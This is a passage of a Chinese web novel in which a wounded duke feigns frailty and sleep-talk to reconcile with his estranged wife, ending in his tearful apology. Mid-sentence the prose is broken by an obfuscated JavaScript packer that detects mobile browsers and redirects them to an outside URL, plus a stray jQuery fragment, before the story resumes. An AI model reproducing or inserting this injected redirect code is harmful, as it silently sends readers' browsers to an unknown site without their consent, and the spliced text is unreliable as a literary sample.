“呃…梵娘…慢点…慢点…这肩膀…不知怎地,突然针扎似的疼…是不是昨日绷带绑得太紧了?”他声音虚弱,带着点委屈,眼神偷偷瞟向她。
李梵娘正准备扶他的手顿在了半空。
她目光落在他紧蹙的眉心和渗汗的额角上。
她没有说话,而是伸手隔着纱布,按压检查他肩胛周围的肌肉和绷带的松紧度。
她的指尖微凉,杜仁绍能感觉到她呼吸似乎屏住了一瞬。
“绷带无恙。”
片刻后,她收回手,声音依旧平淡,但杜仁绍敏锐地捕捉到那语调似乎比之前缓和了那么一丢丢。
“可能是卧床日久,筋肉僵滞。勿要乱动。”她说着,依旧扶他坐起,然后将药碗递到他嘴边。
杜仁绍心中窃喜,有门!
喝药的时候,他故技重施。
抿了一口,立刻苦着脸,舌头都伸不直了。
“这药…今日怎地格外苦?烧心灼肺的…媳妇儿,有蜜饯没有?实在咽不下去…”
李梵娘看着他夸张的表情,沉默了两秒。
然后,转身从一旁的药箱里取出一个小瓷罐,挑了一块蜂蜜膏递到他唇边。
“吃了,不要耽搁喝药。”
杜仁绍就着她的手含住那蜜膏,甜意在舌尖化开,一路甜到了心里。
他乖乖地把剩下的药一口气喝完,然后眼巴巴地看着她。
李梵娘收拾着药碗,无视了他的目光。
但转身时,杜仁绍还是看到她几不可闻地吁了一口气。
接下来的一整个下午,杜仁绍充分发挥了他所能想象到的、一个“重伤虚弱”病人所能有的所有“需求”。
“梵娘…我有点冷…这被子…好像不顶用…”他声音哆嗦着,其实帐内闷热,他后背都快出汗了。
李梵娘正在不远处整理药材,闻言动作一顿。
她走过来,伸手探了探他露在被子外的手,温热甚至有些汗湿。
她没说话,只是默默地将滑落的被子往上拉了拉,仔细掖好被角。
“水…口好渴…杯子…够不着…”他看着水杯,眼神无助。
李梵娘看了看那触手可及的杯子,又看了看他“虚弱”地连抬手都费劲的样子。
终究还是拿起杯子,递到他嘴边喂了几口。
每一次她的回应,都让杜仁绍心头那点希望的小火苗燃得更旺一些。
他像个尝到甜头的孩子,越发小心地试探着她的底线。
傍晚时分,王猛再次进来请示事务。
一抬眼就看到他们英明神武的国公爷,正用一种他从未听过的黏糊语气,对着夫人抱怨伤口痒痒,要夫人给看看是不是快长新肉了。
王猛脚下一个趔趄,差点被门槛绊倒。
他死死咬住自己的舌头,才把到嘴边的笑给憋回去,脸涨得通红,赶紧低下头,肩膀却控制不住地抖。
杜仁绍一个眼刀甩过去,带着警告。
王猛立马绷紧脸,目不斜视,用最快的速度汇报完逃出军帐,帐外隐约传来他实在憋不住的噗嗤声。
杜仁绍脸上有点挂不住,但转念一想,只要能把媳妇儿哄好,面子算什么?
丢就丢了!
夜色渐深,军帐内只留了一盏昏黄的油灯。
李梵娘在榻边打了个地铺,和衣躺下,背对着他,呼吸平稳,似乎已经入睡。
杜仁绍开始在床上左右翻身,被子被他弄出响声。
地铺上的人影一动不动。
杜仁绍心一横,开始含混不清的说梦话,声音不大,但绝对能让媳妇儿听到。
“梵娘…别…别走…”
“我错了…真的知错了…”
“别不理我…心里…难受…”
“别嫁别人…谁都不行…”
他断断续续地呢喃着,将白日里不敢直接说出口的忏悔和恐慌,借着梦话宣泄出来。
他的声音有些颤抖,带着自己都没注意的脆弱。
他看不到她的表情,却能感觉到那边的呼吸停了一瞬,随后变得有些紊乱。
他好像听到了一声叹息,很轻,不仔细听的话都听不到。
但她依旧没有转身。
杜仁绍的心也沉了下去。
难道…还是不行吗?
失落的感觉涌上心头,他停止了表演,怔怔地望着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16459040|182915||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她的背影,眼里满是茫然。
夜更深了。
翌日清晨,天光微亮,帐外传来士兵换岗和炊烟升起的声响。
杜仁绍几乎一夜未眠,眼底带着青黑,嘴唇有些干裂。
李梵娘起身的动静很轻,但他还是察觉到了。
他看着她如常地洗漱,整理地铺,然后端来温水帕子,准备帮他擦脸。
一切似乎又回到了那令人绝望的循环。
杜仁绍的心沉甸甸的,像是坠了一块石头。
他看着她走近,看着她拧干帕子,那平静无波的侧脸让他感到绝望。
不能再这样下去了!
他必须做点什么,哪怕…哪怕后果是让她更生气!
当李梵娘伸出手,准备像前两日那样扶他坐起时,杜仁绍心一横,牙关紧咬,做出了决定。
他没有将重心依靠在她手上,而是故意用受伤的右肩和手臂发力,试图自己挣扎着坐起来。
同时嘴里发出闷哼:“呃……”
“你乱动什么!”
李梵娘一直用留意着他的情况,她扑了过去扶住他,声音带着怒气,“扯到伤口了是不是?你不要命了!”
杜仁绍借这个机会抓住她的手腕。
他抬起头,眼眶通红地看着李梵娘,眼里满是恐慌和祈求。
“梵娘…”他的声音沙哑得厉害。
“别不理我,我知道那些混账话伤透你了,是我该死,是我昏了头!口不择言!”
“我不该擅自安排你的将来,当时只是想着你自己一个人和春儿该怎么办啊……”
他语无伦次,仿佛要把自己的心剖开给她看。
“是我蠢!是我混账!我不该那样……”
“我杜仁绍何德何能…”
李梵娘被他的话说的愣在原地。
“梵娘……”
看着他通红的眼眶,声音有些哽咽,他因为激动和疼痛还有些颤抖。
李梵娘做好冷落他一周多的心,瞬间软了。
多日的担忧、恐惧、委屈、心痛如同决堤的洪水,瞬间冲垮了。
眼泪落得毫无征兆,顺着脸滚落下来。